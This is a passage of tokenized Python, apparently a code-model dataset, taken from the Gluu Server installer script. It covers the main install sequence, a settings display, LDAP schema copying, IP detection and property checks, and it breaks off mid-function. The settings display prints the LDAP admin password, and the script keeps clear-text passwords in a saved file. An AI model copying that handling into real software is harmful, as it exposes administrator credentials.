"\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "Sam", "l_", "=_", "setup", "Options_", "[_", "'", "install", "Sam", "l", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "Asi", "mba", "_", "=_", "setup", "Options_", "[_", "'", "install", "Asi", "mba", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "Cas", "_", "=_", "setup", "Options_", "[_", "'", "install", "Cas", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "Ox", "Auth", "RP", "_", "=_", "setup", "Options_", "[_", "'", "install", "Ox", "Auth", "RP", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "OS", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "install", "Object_", "._", "os", "\\u", "type_", "=_", "install", "Object_", "._", "detect", "\\u", "os", "\\u", "type_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "init", " ", "type", " _", "\\u\\u\\uNL\\u\\u\\u_", "install", "Object_", "._", "os", "\\u", "init", "daemon_", "=_", "install", "Object_", "._", "detect", "\\u", "init", "d_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "apa", "che", " ", "version", " _", "\\u\\u\\uNL\\u\\u\\u_", "install", "Object_", "._", "apa", "che", "\\u", "version_", "=_", "install", "Object_", "._", "dete", "rmin", "e", "Ap", "ache", "Version", "For", "OS_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "Open", "DJ", " ", "version", " _", "\\u\\u\\uNL\\u\\u\\u_", "install", "Object_", "._", "opend", "j", "\\u", "version_", "=_", "install", "Object_", "._", "dete", "rmin", "e", "Open", "DJ", "Version_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"\\\\", "n", "Install", "ing", " ", "Glu", "u", " ", "Server", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Detect", "ed", " ", "OS", " ", " ", ":", " ", " ", "%", "s", "\"_", "%_", "install", "Object_", "._", "os", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Detect", "ed", " ", "init", ":", " ", " ", "%", "s", "\"_", "%_", "install", "Object_", "._", "os", "\\u", "init", "daemon_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Detect", "ed", " ", "Ap", "ache", ":", " ", " ", "%", "s", "\"_", "%_", "install", "Object_", "._", "apa", "che", "\\u", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Detect", "ed", " ", "Open", "DJ", ":", " ", " ", "%", "s", "\"_", "%_", "install", "Object_", "._", "opend", "j", "\\u", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"\\\\", "n", "Install", "ing", " ", "Glu", "u", " ", "Server", "...", "\\\\", "n", "\\\\", "n", "For", " ", "more", " ", "info", " ", "see", ":\\\\", "n", " ", " ", "%", "s", " ", " ", "\\\\", "n", " ", " ", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "install", "Object_", "._", "log_", ",_", "install", "Object_", "._", "log", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "**", " ", "All", " ", "clear", " ", "text", " ", "passwords", " ", "contain", "ed", " ", "in", " ", "%", "s", ".\\\\", "n", "\"_", "%_", "install", "Object_", "._", "saved", "Properties_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "remove_", "(_", "install", "Object_", "._", "log_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "log", "It_", "(_", "'", "Remove", "d", " ", "%", "s", "'_", "%_", "install", "Object_", "._", "log_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "remove_", "(_", "install", "Object_", "._", "log", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "log", "It_", "(_", "'", "Remove", "d", " ", "%", "s", "'_", "%_", "install", "Object_", "._", "log", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "install", "Object_", "._", "log", "It_", "(_", "\"", "Install", "ing", " ", "Glu", "u", " ", "Server", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "setup", "Options_", "[_", "'", "setup", "\\u", "proper", "ties", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "install", "Object_", "._", "log", "It_", "(_", "'%", "s", " ", "Proper", "ties", " ", "found", "!\\\\", "n", "'_", "%_", "setup", "Options_", "[_", "'", "setup", "\\u", "proper", "ties", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "load", "\\u", "properties_", "(_", "setup", "Options_", "[_", "'", "setup", "\\u", "proper", "ties", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "os_", "._", "path_", "._", "isfile_", "(_", "install", "Object_", "._", "setup", "\\u", "proper", "ties", "\\u", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "install", "Object_", "._", "log", "It_", "(_", "'%", "s", " ", "Proper", "ties", " ", "found", "!\\\\", "n", "'_", "%_", "install", "Object_", "._", "setup", "\\u", "proper", "ties", "\\u", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "load", "\\u", "properties_", "(_", "install", "Object_", "._", "setup", "\\u", "proper", "ties", "\\u", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "install", "Object_", "._", "log", "It_", "(_", "\"%", "s", " ", "Proper", "ties", " ", "not", " ", "found", ".", " ", "Interact", "ive", " ", "setup", " ", "comm", "enci", "ng", "...\"_", "%_", "install", "Object_", "._", "setup", "\\u", "proper", "ties", "\\u", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "prompt", "For", "Properties_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Validate", " ", "Properties_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "install", "Object_", "._", "check", "\\u", "properties_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Show", " ", "to", " ", "proper", "ties", " ", "for", " ", "approval", "_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "%", "s", "\\\\", "n", "'_", "%_", " _", "`_", "install", "Object_", "`_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proceed", "_", "=_", "\"", "NO", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "setup", "Options_", "[_", "'", "no", "Prom", "pt", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "proceed", "_", "=_", "raw", "\\u", "input_", "(_", "'", "Proce", "ed", " ", "with", " ", "these", " ", "values", " ", "[", "Y", "|", "n", "]", " ", "'_", ")_", "._", "lower_", "(_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "setup", "Options_", "[_", "'", "no", "Prom", "pt", "'_", "]_", "or_", "not_", "len_", "(_", "proceed", "_", ")_", "or_", "(_", "len_", "(_", "proceed", "_", ")_", "and_", "(_", "proceed", "_", "[_", "0_", "]_", "==_", "'", "y", "'_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "install", "Object_", "._", "make", "Folders", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "make", "\\u", "salt_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "make", "\\u", "ox", "auth", "\\u", "salt_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "download", "War", "Files_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "configur", "e\\u", "opend", "j", "\\u", "install_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "copy", "\\u", "scripts_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "encode", "\\u", "passwords", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "generat", "e\\u", "sci", "m", "\\u", "configuration_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "configur", "e\\u", "ox", "trust_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "render", "\\u", "templates_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "render", "\\u", "test\\u", "templates_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "generat", "e\\u", "crypto_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "generat", "e\\u", "ox", "auth", "\\u", "openid", "\\u", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "generat", "e\\u", "base64", "\\u", "configuration_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "render", "\\u", "configura", "tion", "\\u", "template_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "update", "\\u", "hostname_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "configur", "e\\u", "httpd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "setup", "\\u", "opend", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "configur", "e\\u", "opend", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "index", "\\u", "opend", "j_", "(_", "'", "user", "Roo", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "index", "\\u", "opend", "j_", "(_", "'", "site", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "import", "\\u", "ldif", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "delete", "Lda", "p", "Pw", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "export", "\\u", "opend", "j", "\\u", "public", "\\u", "cert_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "\\u", "saml", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "copy", "\\u", "output_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "setup", "\\u", "init", "\\u", "scripts_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "copy", "\\u", "static_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "\\u", "cas", "\\u", "war", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "\\u", "asi", "mba", "\\u", "war", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "install", "\\u", "ox", "auth", "\\u", "rp", "\\u", "war", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "change", "\\u", "ownership_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "change", "\\u", "permissions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "start", "\\u", "services_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "save", "\\u", "properties_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "install", "Object_", "._", "log", "It_", "(_", "\"****", "*", " ", "Error", " ", "cau", "ght", " ", "in", " ", "main", " ", "loop", " ", "*****", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "install", "Object_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"\\\\", "n", "\\\\", "n", " ", "Glu", "u", " ", "Server", " ", "installation", " ", "success", "ful", "!", " ", "Point", " ", "your", " ", "browse", "r", " ", "to", " ", "https", "://", "%", "s", "\\\\", "n", "\\\\", "n", "\"_", "%_", "install", "Object_", "._", "hostname_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "install", "Object_", "._", "save", "\\u", "properties_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Proper", "ties", " ", "saved", " ", "to", " ", "%", "s", ".", " ", "Change", " ", "filename", " ", "to", " ", "%", "s", " ", "if", " ", "you", " ", "want", " ", "to", " ", "re", "-", "use", "\"_", "%_", "(_", "install", "Object_", "._", "saved", "Properties_", ",_", "install", "Object_", "._", "setup", "\\u", "proper", "ties", "\\u", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "END_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "host", "name", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", "self_", "._", "hostname_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "org", "Name", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", "self_", "._", "org", "Name_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "os", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", "self_", "._", "os", "\\u", "type_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "city", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", "self_", "._", "city_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "state", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", "self_", "._", "state_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "countr", "y", "Code", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", "self_", "._", "countr", "y", "Code_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "support", " ", "email", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", "self_", "._", "admin", "\\u", "email_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "tom", "cat", " ", "max", " ", "ram", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", "self_", "._", "tom", "cat", "\\u", "max", "\\u", "ram_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "Admi", "n", " ", "Pass", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", "self_", "._", "ldap", "Pass_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "Install", " ", "ox", "Auth", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", " _", "`_", "self_", "._", "install", "Ox", "Auth_", "`_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "Install", " ", "ox", "Trust", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", " _", "`_", "self_", "._", "install", "Ox", "Auth_", "`_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "Install", " ", "LDA", "P", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", " _", "`_", "self_", "._", "install", "Lda", "p_", "`_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "Install", " ", "Ap", "ache", " ", "2", " ", "web", " ", "server", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", " _", "`_", "self_", "._", "install", "Http", "d_", "`_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "Install", " ", "Shi", "bb", "ole", "th", " ", "2", " ", "SAM", "L", " ", "ID", "P", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", " _", "`_", "self_", "._", "install", "Sam", "l_", "`_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "Install", " ", "Asi", "mba", " ", "SAM", "L", " ", "Pro", "xy", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", " _", "`_", "self_", "._", "install", "Asi", "mba", "_", "`_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "Install", " ", "CAS", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", " _", "`_", "self_", "._", "install", "Cas", "_", "`_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "+_", "'", "Install", " ", "ox", "Auth", " ", "RP", "'_", "._", "ljust_", "(_", "30_", ")_", "+_", " _", "`_", "self_", "._", "install", "Ox", "Auth", "RP", "_", "`_", "._", "rjust_", "(_", "35_", ")_", "+_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", "in_", "self_", "._", "\\u\\u", "dict\\u\\u_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "val_", "=_", "self_", "._", "\\u\\u", "dict\\u\\u_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "s_", "+_", "\"%", "s", "\\\\", "n", "%", "s", "\\\\", "n", "%", "s", "\\\\", "n", "\\\\", "n", "\"_", "%_", "(_", "key_", ",_", "\"-\"_", "*_", "len_", "(_", "key_", ")_", ",_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "ldap", "\\u", "schema_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Copy", "ing", " ", "LDA", "P", " ", "schema", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "schema", "File_", "in_", "self_", "._", "schema", "Files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "copy", "File_", "(_", "schema", "File_", ",_", "self_", "._", "schema", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "'", "chown", "'_", ",_", "'-", "R", "'_", ",_", "'", "ldap", ":", "ldap", "'_", ",_", "self_", "._", "ldap", "Base", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "addin", "g", " ", "schema", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "ip_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test", "IP_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "detect", "ed", "IP_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test", "Socket_", "=_", "socket_", "._", "socket_", "(_", "socket_", "._", "AF", "\\u", "INET_", ",_", "socket_", "._", "SOCK", "\\u", "DGRAM_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "detect", "ed", "IP_", "=_", "[_", "(_", "test", "Socket_", "._", "connect_", "(_", "(_", "'", "8.8", ".8", ".8", "'_", ",_", "80_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "test", "Socket_", "._", "getsockname", "_", "(_", ")_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "test", "Socket_", "._", "close_", "(_", ")_", ")_", "for_", "s_", "in_", "[_", "socket_", "._", "socket_", "(_", "socket_", "._", "AF", "\\u", "INET_", ",_", "socket_", "._", "SOCK", "\\u", "DGRAM_", ")_", "]_", "]_", "[_", "0_", "]_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "No", " ", "detect", "ed", " ", "IP", " ", "address", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "detect", "ed", "IP_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test", "IP_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Enter", " ", "IP", " ", "Address", "\"_", ",_", "detect", "ed", "IP_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test", "IP_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Enter", " ", "IP", " ", "Address", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "is", "IP_", "(_", "test", "IP_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test", "IP_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "ERROR", ":", " ", "The", " ", "IP", " ", "Address", " ", "is", " ", "invalid", ".", " ", "Tr", "y", " ", "again", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "test", "IP_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "'", "Check", "ing", " ", "proper", "ties", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "self_", "._", "hostname_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "testh", "ost_", "=_", "raw", "\\u", "input_", "(_", "'", "Host", "name", " ", "of", " ", "this", " ", "server", ":", " ", "'_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "testh", "ost_", "._", "split_", "(_", "'.'_", ")_", ")_", ">=_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "hostname_", "=_", "testh", "ost_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "The", " ", "host", "name", " ", "has", " ", "to", " ", "be", " ", "at", " ", "leas", "t", " ", "three", " ", "domain", " ", "component", "s", ".", " ", "Tr", "y", " ", "again", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "not_", "self_", "._", "ip_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ip_", "=_", "self_", "._", "get", "\\u", "ip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "not_", "self_", "._", "org", "Name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "org", "Name_", "=_", "raw", "\\u", "input_", "(_", "'", "Organiz", "ation", " ", "Name", ":", " ", "'_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", 